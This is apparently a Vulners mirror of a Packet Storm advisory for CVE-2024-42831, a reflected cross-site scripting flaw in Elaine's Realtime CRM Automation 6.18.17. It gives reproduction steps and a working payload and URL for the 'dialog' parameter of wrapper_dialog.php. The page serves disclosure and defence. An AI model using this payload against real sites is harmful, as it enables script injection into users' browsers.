Elaine's Realtime CRM Automation 6.18.17 Cross Site Scripting
🗓️ 24 Sep 2024 00:00:00Reported by Haythem ArfaouiType 
packetstorm🔗 packetstormsecurity.com👁 364 Views
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
 | Elaines Realtime CRM Automation 6.18.17 Cross Site Scripting Vulnerability | 24 Sep 202400:00 | – | zdt |
 | CVE-2024-42831 | 7 Oct 202420:58 | – | circl |
 | ELAINE Marketing Automation 跨站脚本漏洞 | 24 Sep 202400:00 | – | cnnvd |
 | CVE-2024-42831 | 7 Oct 202400:00 | – | cve |
 | CVE-2024-42831 | 7 Oct 202400:00 | – | cvelist |
 | Elaine's Realtime CRM Automation 6.18.17 - Reflected XSS | 2 Apr 202500:00 | – | exploitdb |
 | CVE-2024-42831 | 7 Oct 202418:15 | – | nvd |
 | PT-2024-30177 · Unknown · Elaine'S Realtime Crm Automation | 23 Sep 202400:00 | – | ptsecurity |
 | CVE-2024-42831: Improper Neutralization of Input During Web Page Generation | 7 Oct 202400:00 | – | rapid7 |
 | CVE-2024-42831 | 23 May 202507:54 | – | redhatcve |
10
`# Exploit Title: Reflected XSS in Elaine's Realtime CRM Automation v6.18.17
# Date: 09/2024
# Exploit Author: Haythem Arfaoui (CBTW Team)
# Vendor Homepage: https://www.elaine.io/
# Software Link:
https://www.elaine.io/en/products/elaine-marketing-automation/
# Version: 6.18.17 and below
# Tested on: Windows, Linux
# CVE : CVE-2024-42831
# Description
A reflected cross-site scripting (XSS) vulnerability in Elaine's Realtime
CRM Automation v6.18.17 allows attackers to execute arbitrary JavaScript
code in the web browser of a user via injecting a crafted payload into the
dialog parameter at wrapper_dialog.php.
# Steps to reproduce:
1. Navigate to any website that contains Elaine's Realtime CRM Automation
2. Navigate to this endpoint: /system/interface/wrapper_dialog.php
3. Append the payload *a"%20onafterscriptexecute=alert(document.domain)> *in
the *"dialog*" param and execute the request
4. Final URL
: /system/interface/wrapper_dialog.php?dialog=a"%20onafterscriptexecute=alert(document.domain)>
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
24 Sep 2024 00:00Current
7.4High risk
Vulners AI Score7.4
EPSS0.00839